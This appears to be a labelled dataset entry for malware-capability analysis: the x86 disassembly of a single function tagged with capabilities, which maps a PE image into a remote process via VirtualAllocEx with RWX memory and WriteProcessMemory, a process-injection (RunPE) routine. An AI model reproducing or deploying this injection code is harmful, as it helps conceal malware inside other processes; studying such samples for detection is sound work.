Function at 0x41a108
Capabilities:
Allocate or change rwx memory
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 0xd], 0
cmp dword [ebp - 8], 0
je 0x41a2c4
mov eax, dword [ebp - 8]
call fcn.0041a010
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
call fcn.00403bc4
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x41a2b0
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x20]
lea esi, [edx + 0x18]
mov edx, dword [ebp - 0x20]
movzx edx, word [edx + 0x14]
add esi, edx
mov edx, dword [ebp - 0x20]
movzx edi, word [edx + 6]
dec edi
test edi, edi
jb 0x41a196
inc edi
xor ebx, ebx
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 0x14]
jbe 0x41a192
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x14]
inc ebx
dec edi
jne 0x41a182
mov ecx, eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
call fcn.00403d68
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x54]
call fcn.00419ff0
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jb 0x41a239
inc edi
xor ebx, ebx
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x10]
test eax, eax
jbe 0x41a213
lea edx, [ebx + ebx*4]
cmp eax, dword [esi + edx*8 + 8]
jbe 0x41a1e4
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
lea edx, [ebx + ebx*4]
mov edx, dword [esi + edx*8 + 0x14]
add edx, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x18]
xchg edx, eax
pop ecx
call fcn.00403d68
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx + 0x38]
call fcn.00419ff0
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x41a235
lea eax, [ebx + ebx*4]
cmp dword [esi + eax*8 + 8], 0
je 0x41a235
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx + 0x38]
call fcn.00419ff0
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
inc ebx
dec edi
jne 0x41a1c9
push 0x40
push 0x3000
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x41a27c
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
je 0x41a286
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41a2c4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x20]
add eax, dword [edx + 0x28]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov byte [ebp - 0xd], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41a2ba
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00407e60
pop ecx
movzx eax, byte [ebp - 0xd]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4